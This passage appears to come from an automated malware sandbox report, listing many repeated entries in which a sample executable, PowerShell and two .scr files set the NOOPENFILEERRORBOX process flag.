                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
